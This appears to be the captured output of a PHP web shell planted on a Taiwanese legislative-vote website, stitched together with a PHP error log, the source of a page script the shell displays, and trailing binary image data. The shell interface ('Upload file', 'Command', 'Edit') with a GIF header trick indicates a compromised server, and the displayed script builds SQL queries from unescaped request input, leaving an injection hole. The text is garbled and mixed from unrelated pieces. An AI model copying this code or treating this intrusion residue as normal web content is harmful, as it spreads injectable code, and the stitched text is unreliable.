2022-01-08 10:34:29 - PHP Notice: Error: Table 'harajcar_car.inexistent_table' doesn't exist Error No: 1146 SELECT ' by mr.5t1y0��d GIF89;a
Linux example 3.13.0-185-generic #236~12.04.1-Ubuntu SMP Thu Mar 18 16:05:26 UTC 2021 x86_64
Current Dir=|> / home /www.xn--6or66eo1t8u6a.tw /www /images /legislator / Edit : part6_2_detail.php ' FROM `inexistent_table` in /home/harajcar/public_html/system/library/db/mysqli.php on line 4���� JFIF ��&
Linux example 3.13.0-185-generic #236~12.04.1-Ubuntu SMP Thu Mar 18 16:05:26 UTC 2021 x86_64
Upload file : Command :
Upload
Current Dir=|> / home /www.xn--6or66eo1t8u6a.tw /www /images /legislator / Edit : part6_2_detail.php <?php
include_once 'include/common.php';
include_once 'include/db_conf.php';
include_once 'include/db_connect.php';
include_once 'include/db_util.php';
include_once 'include/util.php';
include_once 'class/Smarty/smarty.inc.php';
include_once 'class/cls_page.php';
access_log();
$_GET=HTML_Purifier($_GET);
if (empty($_GET["sno"]))
{
header("location:part1_4.php");
exit();
}
//建立型版物件
$smarty = New Template();
//瀏覽次數+1
$sql="UPDATE proposal_vote SET click=click+1";
$sql.=" WHERE sno='{$_GET["sno"]}'";
$result=$db->query($sql);
//取得議案投票記錄資料
unset($fld_name);
unset($fld_val);
$fld_name[0] = "sno";
$fld_val[0]['value1'] = $_GET["sno"];
$proposal_vote=GetData("proposal_vote",$fld_name,$fld_val);
$proposal_vote=$proposal_vote[0];
switch ($proposal_vote["pv_result"])
{
case "1":
$proposal_vote["pv_result"]="贊成通過";
break;
case "2":
$proposal_vote["pv_result"]="反對重新修定";
break;
}
$proposal_vote["pv_agree_man"]=urldecode($proposal_vote["pv_agree_man"]);
$proposal_vote["pv_disagree_man"]=urldecode($proposal_vote["pv_disagree_man"]);
$proposal_vote["pv_cancel_man"]=urldecode($proposal_vote["pv_cancel_man"]);
$proposal_vote["pv_not_attend_man"]=urldecode($proposal_vote["pv_not_attend_man"]);
$proposal_vote["pv_content"]=urldecode($proposal_vote["pv_content"]);
//取得政黨立委分類
$sql="SELECT cname,ename,legislator_sect.party FROM legislator";
$sql.=" LEFT JOIN legislator_sect ON legislator_sect.leg_sno=legislator.sno";
$sql.=" WHERE section='".$proposal_vote['pv_section']."'";
//printf("sql=%s", $sql);
$legis=$db->getAll($sql);
//取得團資訊
$sql="SELECT * FROM party WHERE 1 order by sno asc";
$party=$db->getAll($sql);
//處理委員文字顏政黨色用
function chkParty($legis,$party,$name,$mode){
//確認政黨
//print_r($legis);
foreach ($legis as $key => $value) {
if (trim($name) == $value['cname'] || trim($name) == $value['ename']){
$party_sno = $value['party'];
break;
}
}
//確認顏色
foreach ($party as $key => $value) {
if ($party_sno == $value['sno']){
$color = $value['party_color'];
$pname = $value['party_name'];
$img = $value['party_pic'];
break;
}
}
if($mode==1){
return "<font color='".$color."'>".$name."</font>";
}else if($mode==2){
return "<img src='images/party/".$img."' class='shadow2'><font color='".$color."' style='font-weight:bold;'>".$pname."</font>";
}
}
//取得備註有哪些政黨
$ary=explode(",", trim($proposal_vote["pv_agree_man"]).trim($proposal_vote["pv_disagree_man"]).trim($proposal_vote["pv_cancel_man"]).trim($proposal_vote["pv_not_attend_man"]));
unset($note);
foreach ($ary as $key => $value) {
$html = chkParty($legis,$party,trim($value),2);
$chkHtml = ereg_replace("<[^>]*>","",$html);
if(in_array($chkHtml,$note)==false && !empty($chkHtml)){
$ary_note[$key] = trim($html);
$note[] = trim($chkHtml);
}
}
$proposal_vote["note"]=implode("、", $ary_note);
//贊成者
$ary_agree=explode(",", $proposal_vote["pv_agree_man"]);
foreach ($ary_agree as $key => $value) {
$ary_agree[$key]=chkParty($legis,$party,$value,1);
}
$proposal_vote["pv_agree_man"]=implode(",", $ary_agree);
//反對者
$ary_disagree=explode(",", $proposal_vote["pv_disagree_man"]);
foreach ($ary_disagree as $key => $value) {
$ary_disagree[$key]=chkParty($legis,$party,$value,1);
}
$proposal_vote["pv_disagree_man"]=implode(",", $ary_disagree);
//棄權者
$ary_cancel=explode(",", $proposal_vote["pv_cancel_man"]);
foreach ($ary_cancel as $key => $value) {
$ary_cancel[$key]=chkParty($legis,$party,$value,1);
}
$proposal_vote["pv_cancel_man"]=implode(",", $ary_cancel);
//未出席
$ary_not_attend=explode(",", $proposal_vote["pv_not_attend_man"]);
foreach ($ary_not_attend as $key => $value) {
$ary_not_attend[$key]=chkParty($legis,$party,$value,1);
}
$proposal_vote["pv_not_attend_man"]=implode(",", $ary_not_attend);
$category = array('1-議事類','2-法律類','3-預算類','4-一般提案類','5-其他類');
foreach ($category as $key => $value) {
$ary = explode("-",$value);
if($ary[0]==$proposal_vote["pv_category"]){
$proposal_vote["pv_category"]=$ary[1];
}
}
if($proposal_vote["pv_category"]==0)
$proposal_vote["pv_category"] = "未分類";
//取得議案主提案人資料
/*unset($fld_name);
unset($fld_val);
$fld_name[0] = "lp_sno";
$fld_val[0]['value1'] = $_GET["sno"];
$lp_master=GetData("lp_master",$fld_name,$fld_val);
unset($lp_master_man);
foreach ($lp_master as $rows) {
switch ($rows["lpm_type"]) {
default:
case '1':
$lp_master_man[]=$rows["leg_org"];
break;
case '2':
unset($fld_name);
unset($fld_val);
$fld_name[0] = "sno";
$fld_val[0]['value1'] = $rows["leg_org"];
$tmp_Str=GetData("legislator",$fld_name,$fld_val);
$lp_master_man[]=$tmp_Str[0]["cname"];
break;
}
}
$lp_master_man=implode(";", $lp_master_man);*/
//設定型版內容
$smarty->assign("web_url","http://xn--6or66eo1t8u6a.tw".$_SERVER["REQUEST_URI"]);
$smarty->assign("web_title","立委投票記錄-議案投票記錄");
$smarty->assign("web_desc",$proposal_vote["pv_name"]);
$smarty->assign("sno",$_GET["sno"]);
$smarty->assign("proposal_vote",$proposal_vote);
//$smarty->assign("lp_master_man",$lp_master_man);
$smarty->display('part6_2_detail.html');
?> �� C �� C�� ^�" ��
��
! "1AQaRq��2WXb������
#BSr���������39Vsw���(7CGTYcg����$%':u����&4568vx�UZty��)E����������� �� V
!1AQa"bq��2BRS�����c���34Cr����#TUV���s�%67F��$&�D�� ? �s�w{?w䧜��~��]�݃�� X����V�����;�[��j�s����%<�w��p�J�h�9O��]^��;`�v}w+w��]s�w{?w䧜��~��]�)���ߴ�lnϠ��n����y��g����������+��`�?�=u{������ܭ�ӵu�9����?��s����%v4L��Ǯ�~ҝ�y�>�����v���;�����S�w{?w�Ɖ��� X����S�7g�wr�{N��<�w��p�Jy��g������0r�����Jv�����V�iں���~��O9����?��&S�c�W�iN�<ݟA����;W\������)�;�����WcD���z���)����;�[��j�s����%<�w��p�J�h�9O��]^��;`�v}w+w��]s�w{?w䧜��~��]�)���ߴ�lnϠ��n����y��g����������+��`�?�=u{������ܭ�ӵu�9����?��s����%v4L��Ǯ�~ҝ�y�>�����v���;�����S�w{?w�Ɖ��� X����S�7g�wr�{N��<�w��p�Jy��g������0r�����Jv�����V�iں���~��O9����?��&S�c�W�iN�<ݟA����;W\������)�;�����WcD���z���)����;�[��j�s����%<�w��p�J�h�9O��]^��;`�v}w+w��]s�w{?w䧜��~��]�)���ߴ�lnϠ��n����y��g����������+��`�?�=u{������ܭ�ӵu�9����?��s����%v4L��Ǯ�~ҝ�y�>�����v���;�����S�w{?w�Ɖ��� X����S�7g�wr�{N��<�w��p�Jy��g������0r�����Jv�����V�iں���~��O9����?��&S�c�W�iN�<ݟA����;W\������+Q'p �@�%�"��7��ؑFS�c�W�iLb#���:ur�{J��Yؑ���^h��cp�\\y�g9A��n�a@aKA��Zl�,A�(5�#��$<:�{����
�h�B�p�. �m�[6�v������AK1
h.
�ko� ��ݼ��۹����� �\%�"��htA�$ $�Nd��E���w��>���I.
5� L�A�1/t�i��7��A��c}�< ��1��U[Q���,�@�� ��xy�;�È�h ���3�ͨ���Kć
y �n@�Gw$�
�����o�Px;�v��h���=����m��m��Z/�k$_P���Z���J����M���Ԉ�ðmR8k�"$�E0�ꔜ������;V�^�{�����8@�r�F��>�]{�H�s�p���
�g��Q4�*�-%��R